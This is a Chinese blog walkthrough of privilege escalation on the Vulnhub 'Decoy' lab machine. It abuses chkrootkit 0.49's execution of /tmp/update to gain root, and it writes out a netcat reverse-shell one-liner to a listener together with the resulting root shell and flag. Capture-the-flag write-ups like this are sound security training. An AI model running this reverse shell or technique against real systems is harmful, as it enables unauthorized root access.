主頁 >  其他 > Vulnhub之Decoy靶機-詳細提權程序補充

Vulnhub之Decoy靶機-詳細提權程序補充

2023-05-31 08:14:23 其他

Vulnhub Decoy提權補充

在拿到用戶296640a3b825115a47b68fc44501c828的密碼server后,為了方便觀察現象,同時開啟兩個shell,并且需要指定-t "bash --noprofile"以逃避受限shell,登錄成功后,要修改PATH環境變數,使其包含正常的環境變數:

PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/bin:/sbin
296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:~$ cat SV-502/logs/log.txt 

在日志檔案中看到有關chkrootkit的日志資訊,chkrootkit是檢查系統是否存在后門的工具,

在第1個目標主機shell中執行:

296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:~$ ps aux | grep chk
296640a+ 23309  0.0  0.0   6076   828 pts/1    S+   22:49   0:00 grep chk

從結果發現并沒有運行chkrootkit的行程

在第2個shell中執行:

296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:~$ ./honeypot.decoy 
--------------------------------------------------

Welcome to the Honey Pot administration manager (HPAM). Please select an option.
1 Date.
2 Calendar.
3 Shutdown.
4 Reboot.
5 Launch an AV Scan.
6 Check /etc/passwd.
7 Leave a note.
8 Check all services status.

Option selected:5

The AV Scan will be launched in a minute or less.
--------------------------------------------------

執行第5選項,也就是病毒掃描,而這可能與chkrootkit相關,也就是一旦選擇第5選項,可能就啟動chkrootkit,

選擇第5選項后,回到第1個shell查看行程:

但是仍然沒有出現chkrootkit

此時參考exploitdb上關于0.49版本的漏洞利用方法,在/tmp創建檔案名為update,此時內容隨意并且賦予執行權限:

Steps to reproduce:

- Put an executable file named 'update' with non-root owner in /tmp (not
mounted noexec, obviously)
- Run chkrootkit (as uid 0)

然后執行honeypot.decoy

此時回到第1個shell中查看行程(需要過一點時間)

296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:~$ ps aux | grep chk
296640a+   560  0.0  0.0   6076   884 pts/1    S+   22:59   0:00 grep chk
296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:~$ ps aux | grep chk
296640a+   562  0.0  0.0   6076   820 pts/1    S+   23:00   0:00 grep chk
296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:~$ ps aux | grep chk
root       571  2.0  0.1   2676  1936 ?        S    23:00   0:00 /bin/sh /root/chkrootkit-0.49/chkrootkit

發現PS輸出結果中有chkrootkit行程,當然到目前為止我們創建的update檔案里面的內容是沒有意義的字串,接下來就是修改update的內容,修改為反向shell命令:

296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:~$ echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.230 5555 >/tmp/f' >/tmp/update
296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:~$ chmod 777 /tmp/update

然后再次執行./honeypot.decoy,選擇選項5,也就是掃描病毒,

296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:~$ ./honeypot.decoy 
--------------------------------------------------

Welcome to the Honey Pot administration manager (HPAM). Please select an option.
1 Date.
2 Calendar.
3 Shutdown.
4 Reboot.
5 Launch an AV Scan.
6 Check /etc/passwd.
7 Leave a note.
8 Check all services status.

Option selected:5

The AV Scan will be launched in a minute or less.
--------------------------------------------------

┌──(kali?kali)-[~/Desktop/Vulnhub/Decoy]
└─$ sudo nc -nlvp 5555                                         
[sudo] password for kali: 
listening on [any] 5555 ...
connect to [192.168.56.230] from (UNKNOWN) [192.168.56.109] 48104
/bin/sh: 0: can't access tty; job control turned off
# cd /root
# ls -alh
total 3.1M
drwx------  4 root                             root                             4.0K Jul  7  2020 .
drwxr-xr-x 18 root                             root                             4.0K Jun 27  2020 ..
lrwxrwxrwx  1 root                             root                                9 Jul  7  2020 .bash_history -> /dev/null
-rw-r--r--  1 root                             root                              570 Jan 31  2010 .bashrc
drwxr-xr-x  2 296640a3b825115a47b68fc44501c828 296640a3b825115a47b68fc44501c828 4.0K Jul 30  2009 chkrootkit-0.49
-rw-r--r--  1 root                             root                              39K Apr  9  2015 chkrootkit-0.49.tar.gz
drwxr-xr-x  3 root                             root                             4.0K Jun 27  2020 .local
-rw-r--r--  1 root                             root                             7.7K Jun 27  2020 log.txt
-rw-r--r--  1 root                             root                              148 Aug 17  2015 .profile
-rwxr-xr-x  1 root                             root                             3.0M Aug 22  2019 pspy
-rw-r--r--  1 root                             root                              924 Jul  7  2020 root.txt
-rw-r--r--  1 root                             root                              137 Jul  7  2020 script.sh
-rw-r--r--  1 root                             root                               66 Jul  7  2020 .selected_editor
-rw-r--r--  1 root                             root                              208 Jun 27  2020 .wget-hsts
# cat root.txt
  ........::::::::::::..           .......|...............::::::::........
     .:::::;;;;;;;;;;;:::::.... .     \   | ../....::::;;;;:::::.......
         .       ...........   / \\_   \  |  /     ......  .     ........./\
...:::../\\_  ......     ..._/'   \\\_  \###/   /\_    .../ \_.......   _//
.::::./   \\\ _   .../\    /'      \\\\#######//   \/\   //   \_   ....////
    _/      \\\\   _/ \\\ /  x       \\\\###////      \////     \__  _/////
  ./   x       \\\/     \/ x X           \//////                   \/////
 /     XxX     \\/         XxX X                                    ////   x
-----XxX-------------|-------XxX-----------*--------|---*-----|------------X--
       X        _X      *    X      **         **             x   **    *  X
      _X                    _X           x                *          x     X_


1c203242ab4b4509233ca210d50d2cc5

Thanks for playing! - Felipe Winsnes (@whitecr0wz)
# 

STRIVE FOR PROGRESS,NOT FOR PERFECTION

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/553831.html

標籤:其他

上一篇:java開發學習框架

下一篇:返回列表

標籤雲
其他(159995) Python(38189) JavaScript(25464) Java(18161) C(15234) 區塊鏈(8268) C#(7972) AI(7469) 爪哇(7425) MySQL(7217) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5873) 数组(5741) R(5409) Linux(5344) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4579) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2434) ASP.NET(2403) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) .NET技术(1977) 功能(1967) Web開發(1951) HtmlCss(1950) C++(1927) python-3.x(1918) 弹簧靴(1913) xml(1889) PostgreSQL(1878) .NETCore(1862) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 網閘典型架構簡述

    網閘架構一般分為兩種:三主機的三系統架構網閘和雙主機的2+1架構網閘。 三主機架構分別為內端機、外端機和仲裁機。三機無論從軟體和硬體上均各自獨立。首先從硬體上來看,三機都用各自獨立的主板、記憶體及存盤設備。從軟體上來看,三機有各自獨立的作業系統。這樣能達到完全的三機獨立。對于“2+1”系統,“2”分為 ......

    uj5u.com 2020-09-10 02:00:44 more
  • 如何從xshell上傳檔案到centos linux虛擬機里

    如何從xshell上傳檔案到centos linux虛擬機里及:虛擬機CentOs下執行 yum -y install lrzsz命令,出現錯誤:鏡像無法找到軟體包 前言 一、安裝lrzsz步驟 二、上傳檔案 三、遇到的問題及解決方案 總結 前言 提示:其實很簡單,往虛擬機上安裝一個上傳檔案的工具 ......

    uj5u.com 2020-09-10 02:00:47 more
  • 一、SQLMAP入門

    一、SQLMAP入門 1、判斷是否存在注入 sqlmap.py -u 網址/id=1 id=1不可缺少。當注入點后面的引數大于兩個時。需要加雙引號, sqlmap.py -u "網址/id=1&uid=1" 2、判斷文本中的請求是否存在注入 從文本中加載http請求,SQLMAP可以從一個文本檔案中 ......

    uj5u.com 2020-09-10 02:00:50 more
  • Metasploit 簡單使用教程

    metasploit 簡單使用教程 浩先生, 2020-08-28 16:18:25 分類專欄: kail 網路安全 linux 文章標簽: linux資訊安全 編輯 著作權 metasploit 使用教程 前言 一、Metasploit是什么? 二、準備作業 三、具體步驟 前言 Msfconsole ......

    uj5u.com 2020-09-10 02:00:53 more
  • 游戲逆向之驅動層與用戶層通訊

    驅動層代碼: #pragma once #include <ntifs.h> #define add_code CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS) /* 更多游戲逆向視頻www.yxfzedu.com ......

    uj5u.com 2020-09-10 02:00:56 more
  • 北斗電力時鐘(北斗授時服務器)讓網路資料更精準

    北斗電力時鐘(北斗授時服務器)讓網路資料更精準 北斗電力時鐘(北斗授時服務器)讓網路資料更精準 京準電子科技官微——ahjzsz 近幾年,資訊技術的得了快速發展,互聯網在逐漸普及,其在人們生活和生產中都得到了廣泛應用,并且取得了不錯的應用效果。計算機網路資訊在電力系統中的應用,一方面使電力系統的運行 ......

    uj5u.com 2020-09-10 02:01:03 more
  • 【CTF】CTFHub 技能樹 彩蛋 writeup

    ?碎碎念 CTFHub:https://www.ctfhub.com/ 筆者入門CTF時時剛開始刷的是bugku的舊平臺,后來才有了CTFHub。 感覺不論是網頁UI設計,還是題目質量,賽事跟蹤,工具軟體都做得很不錯。 而且因為獨到的金幣制度的確讓人有一種想去刷題賺金幣的感覺。 個人還是非常喜歡這個 ......

    uj5u.com 2020-09-10 02:04:05 more
  • 02windows基礎操作

    我學到了一下幾點 Windows系統目錄結構與滲透的作用 常見Windows的服務詳解 Windows埠詳解 常用的Windows注冊表詳解 hacker DOS命令詳解(net user / type /md /rd/ dir /cd /net use copy、批處理 等) 利用dos命令制作 ......

    uj5u.com 2020-09-10 02:04:18 more
  • 03.Linux基礎操作

    我學到了以下幾點 01Linux系統介紹02系統安裝,密碼啊破解03Linux常用命令04LAMP 01LINUX windows: win03 8 12 16 19 配置不繁瑣 Linux:redhat,centos(紅帽社區版),Ubuntu server,suse unix:金融機構,證券,銀 ......

    uj5u.com 2020-09-10 02:04:30 more
  • 05HTML

    01HTML介紹 02頭部標簽講解03基礎標簽講解04表單標簽講解 HTML前段語言 js1.了解代碼2.根據代碼 懂得挖掘漏洞 (POST注入/XSS漏洞上傳)3.黑帽seo 白帽seo 客戶網站被黑帽植入劫持代碼如何處理4.熟悉html表單 <html><head><title>TDK標題,描述 ......

    uj5u.com 2020-09-10 02:04:36 more
最新发布
  • Vulnhub之Decoy靶機-詳細提權程序補充

    # Vulnhub Decoy提權補充 在拿到用戶296640a3b825115a47b68fc44501c828的密碼server后,為了方便觀察現象,同時開啟兩個shell,并且需要指定-t "bash --noprofile"以逃避受限shell,登錄成功后,要修改PATH環境變數,使其包含正 ......

    uj5u.com 2023-05-31 08:14:23 more
  • java開發學習框架

    1. Java基礎 1.1. Java簡介與安裝 1.2. Java基本語法 1.3. 資料型別與變數 1.4. 運算子與運算式 1.5. 流程控制(分支與回圈) 1.6. 陣列 2. 面向物件編程 2.1. 類與物件 2.2. 繼承與多型 2.3. 介面與抽象類 2.4. 封裝與訪問控制 2.5. ......

    uj5u.com 2023-05-31 08:14:16 more
  • 讀資料壓縮入門筆記02_二進制和熵

    ![](https://img2023.cnblogs.com/blog/3076680/202305/3076680-20230529164021272-2028393854.png) # 1. 十進制 ## 1.1. 現代數學建立在十進制計數系統之上 # 2. 二進制 ## 2.1. 二進制計數 ......

    uj5u.com 2023-05-30 07:54:26 more
  • 蘋果公司限制員工使用AI工具ChatGPT

    蘋果公司最近發布了一份內部備忘錄,禁止員工使用生成式AI平臺(包括ChatGPT和GitHub的Copilot等)用于作業任務 ......

    uj5u.com 2023-05-30 07:54:13 more
  • 2.2. 繼承與多型

    繼承和多型是面向物件編程的兩個重要概念,它們使得我們可以創建更加通用、可擴展的代碼。 #### 2.2.1. 繼承 繼承是一種創建新類的方式,新類(子類)從現有類(父類)繼承屬性和方法。子類可以重寫或擴展父類的功能。 要創建一個子類,可以使用 `extends` 關鍵字: ```java class ......

    uj5u.com 2023-05-30 07:54:03 more
  • UE 油畫濾鏡

    # 前言 - 非真實感渲染的風格不經相同,其中一種便是油畫風格,本文總結了如何實作油畫濾鏡的方法 ![宮崎駿動漫場景油畫iPad壁紙 - tt98圖片網](https://img2023.cnblogs.com/blog/2487253/202305/2487253-2023052920372475 ......

    uj5u.com 2023-05-30 07:53:31 more
  • 云原生周刊:使用 ChatGPT 提高安全性

    雖然 ChatGPT 最近因網路犯罪分子使用該技術加強攻擊而成為負面新聞,但它也可以成為網路防御的強大資產,幫助公司最大限度地提高安全態勢,同時彌合其員工的技能差距。 云安全聯盟 (CSA) 最近發布了一份白皮書,詳細研究了 ChatGPT 的攻防潛力。CSA 技術研究總監Sean Heide是該論 ......

    uj5u.com 2023-05-30 07:53:11 more
  • 2.1. 類與物件

    在 Java 中,類和物件是面向物件編程的基本構建塊。類是一種模板,用于定義物件的屬性和行為。物件是類的實體,具有類定義的屬性和行為。 #### 2.1.1. 類的定義 要定義一個類,可以使用以下語法: ```java class ClassName { // 成員變數(屬性) // 成員方法(行為 ......

    uj5u.com 2023-05-30 07:53:04 more
  • GPT虛擬直播Demo系列(二)|無人直播間實作虛擬人回復粉絲

    虛擬人和數字人是人工智能技術在現實生活中的具體應用,它們可以為人們的生活和作業帶來便利和創新。在直播間場景里,虛擬人和數字人可用于直播主播、智能客服、營銷推廣等。接入GPT的虛擬人像是加了超強buff,具備更強大的自然語言處理能力和智能對話能力,可以實作更加智能化、自然化的人機互動。
    - 直播主播:... ......

    uj5u.com 2023-05-30 07:52:58 more
  • 揭秘“AI換臉”詐騙背后,黑灰產使用的手段

    ![image](https://img2023.cnblogs.com/blog/1520018/202305/1520018-20230529164725586-844276157.gif) 近日,警方通報了一起使用智能AI技術進行電信詐騙的案件。被騙者是福州市某科技公司法人代表郭先生,他通過微 ......

    uj5u.com 2023-05-30 07:52:46 more